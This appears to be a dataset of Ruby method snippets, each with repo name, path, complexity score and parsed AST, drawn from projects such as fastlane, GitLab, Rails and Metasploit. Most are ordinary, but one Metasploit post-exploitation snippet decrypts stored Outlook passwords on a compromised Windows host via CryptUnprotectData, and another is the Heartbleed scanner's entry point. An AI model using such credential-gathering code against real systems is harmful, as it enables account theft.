UI.user_error!(\"'#{value}' doesn't seem to be a JSON file\") unless FastlaneCore::Helper.json_file?(File.expand_path(value))\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :output_json_path,\n                                       env_name: \"UPLOAD_APP_PRIVACY_DETAILS_TO_APP_STORE_OUTPUT_JSON_PATH\",\n                                       description: \"Path to the app usage data JSON file generated by interactive questions\",\n                                       conflicting_options: [:skip_json_file_saving],\n                                       default_value: File.join(DEFAULT_PATH, DEFAULT_FILE_NAME)),\n\n          # Skipping options\n          FastlaneCore::ConfigItem.new(key: :skip_json_file_saving,\n                                       env_name: \"UPLOAD_APP_PRIVACY_DETAILS_TO_APP_STORE_OUTPUT_SKIP_JSON_FILE_SAVING\",\n                                       description: \"Whether to skip the saving of the JSON file\",\n                                       conflicting_options: [:skip_output_json_path],\n                                       type: Boolean,\n                                       default_value: false),\n          FastlaneCore::ConfigItem.new(key: :skip_upload,\n                                       env_name: \"UPLOAD_APP_PRIVACY_DETAILS_TO_APP_STORE_OUTPUT_SKIP_UPLOAD\",\n                                       description: \"Whether to skip the upload and only create the JSON file with interactive questions\",\n                                       conflicting_options: [:skip_publish],\n                                       type: Boolean,\n                                       default_value: false),\n          FastlaneCore::ConfigItem.new(key: :skip_publish,\n                                       env_name: \"UPLOAD_APP_PRIVACY_DETAILS_TO_APP_STORE_OUTPUT_SKIP_PUBLISH\",\n                                       description: \"Whether to skip the publishing\",\n                                       conflicting_options: [:skip_upload],\n                                       type: Boolean,\n                                       default_value: false)\n        ]\n      end","complexity_score":32.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"itunes_connect_id\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"apple_id\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FASTLANE_USER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Your Apple ID Username for App Store Connect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"app_identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"UPLOAD_APP_PRIVACY_DETAILS_TO_APP_STORE_APP_IDENTIFIER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The bundle identifier of your app\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_gen_sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"app_identifier\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"team_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FASTLANE_ITC_TEAM_ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The ID of your App Store Connect team if you're in multiple teams\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_type_validation\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_gen_sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"itc_team_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"team_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FASTLANE_ITC_TEAM_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The name of your App Store Connect team if you're in multiple teams\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_gen_sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"itc_team_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"json_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"UPLOAD_APP_PRIVACY_DETAILS_TO_APP_STORE_JSON_PATH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Path to the app usage data JSON\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find JSON file at path '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"json_file?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"' doesn't seem to be a JSON file\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"output_json_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"UPLOAD_APP_PRIVACY_DETAILS_TO_APP_STORE_OUTPUT_JSON_PATH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Path to the app usage data JSON file generated by interactive questions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conflicting_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_json_file_saving\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_PATH\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_FILE_NAME\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"skip_json_file_saving\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"UPLOAD_APP_PRIVACY_DETAILS_TO_APP_STORE_OUTPUT_SKIP_JSON_FILE_SAVING\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Whether to skip the saving of the JSON file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conflicting_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_output_json_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"skip_upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"UPLOAD_APP_PRIVACY_DETAILS_TO_APP_STORE_OUTPUT_SKIP_UPLOAD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Whether to skip the upload and only create the JSON file with interactive questions\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conflicting_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_publish\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"skip_publish\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"UPLOAD_APP_PRIVACY_DETAILS_TO_APP_STORE_OUTPUT_SKIP_PUBLISH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Whether to skip the publishing\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conflicting_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_upload\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"db7bd3ae-c021-462a-a9f0-c30958a1c42a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/activitypub/followers_synchronizations_controller.rb","start_line":19,"raw_source":"def uri_prefix\n    signed_request_account.uri[Account::URL_PREFIX_RE]\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"uri_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signed_request_account\"]},\"uri\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"URL_PREFIX_RE\"]}]}]}","id":"9315128b-49a6-48b6-a426-564c32b8d419"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/return_item/eligibility_validator/default.rb","start_line":12,"raw_source":"def eligible_for_return?\n      validators.all?(&:eligible_for_return?)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"eligible_for_return?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validators\"]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"eligible_for_return?\"]}]}]}]}","id":"4622798b-fd1a-4dca-a269-44708bd0c98e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kas/client.rb","start_line":114,"raw_source":"def get_environment_template(agent:, template_name:)\n        project = agent.project\n\n        request = Gitlab::Agent::ManagedResources::Rpc::GetEnvironmentTemplateRequest.new(\n          template_name: template_name,\n          agent_name: agent.name,\n          gitaly_info: gitaly_info(project),\n          gitaly_repository: repository(project),\n          default_branch: project.default_branch_or_main\n        )\n\n        stub_for(:managed_resources)\n          .get_environment_template(request, metadata: metadata(\n            project: ::Feature::Kas.project_actor(project),\n            group: ::Feature::Kas.group_actor(project)\n          ))\n          .template\n      end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_environment_template\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"agent\"]},{\"type\":\"kwarg\",\"children\":[\"template_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"project\"]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Agent\"]},\"ManagedResources\"]},\"Rpc\"]},\"GetEnvironmentTemplateRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template_name\"]},{\"type\":\"lvar\",\"children\":[\"template_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"agent_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitaly_info\"]},{\"type\":\"send\",\"children\":[null,\"gitaly_info\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitaly_repository\"]},{\"type\":\"send\",\"children\":[null,\"repository\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"default_branch_or_main\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_for\",{\"type\":\"sym\",\"children\":[\"managed_resources\"]}]},\"get_environment_template\",{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"send\",\"children\":[null,\"metadata\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Feature\"]},\"Kas\"]},\"project_actor\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Feature\"]},\"Kas\"]},\"group_actor\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]}]}]}]},\"template\"]}]}]}","id":"7398a1b3-9044-4e25-ac02-afd758e097e2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/app/helpers/rb_common_helper.rb","start_line":123,"raw_source":"def sprint_link_or_empty(item)\n    item_id = item.id.to_s\n    text = (item_id.length > 8 ? \"#{item_id[0..1]}...#{item_id[-4..-1]}\" : item_id)\n    if item.new_record?\n      \"\"\n    else\n      link_to(text, backlogs_project_sprint_path(id: item.id, project_id: item.project.identifier), class: \"prevent_edit\")\n    end\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sprint_link_or_empty\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"item_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"id\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item_id\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item_id\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"str\",\"children\":[\"...\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item_id\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[-4]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"item_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"new_record?\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"backlogs_project_sprint_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"project\"]},\"identifier\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"prevent_edit\"]}]}]}]}]}]}]}","id":"0ca7423f-e440-44a3-9156-be6203d207d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/web_hooks/hook.rb","start_line":159,"raw_source":"def reset_token\n        self.token = nil if url_changed? && !encrypted_token_changed?\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encrypted_token_changed?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"token=\",{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"a2a22c8e-1853-4063-83db-244cbb405c51"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/report.rb","start_line":281,"raw_source":"def self.find_cached(type, opts = nil)\n    report = _get(type, opts)\n    Discourse.cache.read(cache_key(report))\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_cached\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"report\",{\"type\":\"send\",\"children\":[null,\"_get\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"cache\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"cache_key\",{\"type\":\"lvar\",\"children\":[\"report\"]}]}]}]}]}","id":"05d8cc05-df7c-460a-9d98-a25a41d6c4bf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb","start_line":196,"raw_source":"def run\n    if heartbeat_length > 65535 || heartbeat_length < 0\n      print_error('HEARTBEAT_LENGTH should be a natural number less than 65536')\n      return\n    end\n\n    if response_timeout < 0\n      print_error('RESPONSE_TIMEOUT should be bigger than 0')\n      return\n    end\n\n    super\n  end","complexity_score":12.73,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"heartbeat_length\"]},\">\",{\"type\":\"int\",\"children\":[65535]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"heartbeat_length\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"HEARTBEAT_LENGTH should be a natural number less than 65536\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response_timeout\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"RESPONSE_TIMEOUT should be bigger than 0\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"b6b1d35a-1d3a-484e-9b0d-4f1aceb6cf62"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/http_crawler.rb","start_line":169,"raw_source":"def max_crawl_time\n    datastore['MAX_MINUTES'] * 60.0\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"max_crawl_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MAX_MINUTES\"]}]},\"*\",{\"type\":\"float\",\"children\":[60.0]}]}]}","id":"f0a3361c-9768-4f97-ba15-7aaea3569a6c"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":738,"raw_source":"def test_current_page_with_scope_that_match\n    @request = request_for_url(\"/engine/\")\n\n    assert current_page?(\"/engine\")\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_current_page_with_scope_that_match\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@request\",{\"type\":\"send\",\"children\":[null,\"request_for_url\",{\"type\":\"str\",\"children\":[\"/engine/\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"current_page?\",{\"type\":\"str\",\"children\":[\"/engine\"]}]}]}]}]}","id":"56f7d0b8-4f66-4c6e-b7de-fc45f04a2574"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/outlook.rb","start_line":59,"raw_source":"def decrypt_password(data)\n    pid = client.sys.process.getpid\n    process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)\n\n    mem = process.memory.allocate(128)\n    process.memory.write(mem, data)\n\n    if session.sys.process.each_process.find { |i| i['pid'] == pid }['arch'] == 'x86'\n      addr = [mem].pack('V')\n      len = [data.length].pack('V')\n      ret = session.railgun.crypt32.CryptUnprotectData(\"#{len}#{addr}\", 16, nil, nil, nil, 0, 8)\n      len, addr = ret['pDataOut'].unpack('V2')\n    else\n      addr = [mem].pack('Q')\n      len = [data.length].pack('Q')\n      ret = session.railgun.crypt32.CryptUnprotectData(\"#{len}#{addr}\", 16, nil, nil, nil, 0, 16)\n      len, addr = ret['pDataOut'].unpack('Q2')\n    end\n\n    return '' if len == 0\n\n    decrypted_pw = process.memory.read(addr, len)\n    return decrypted_pw\n  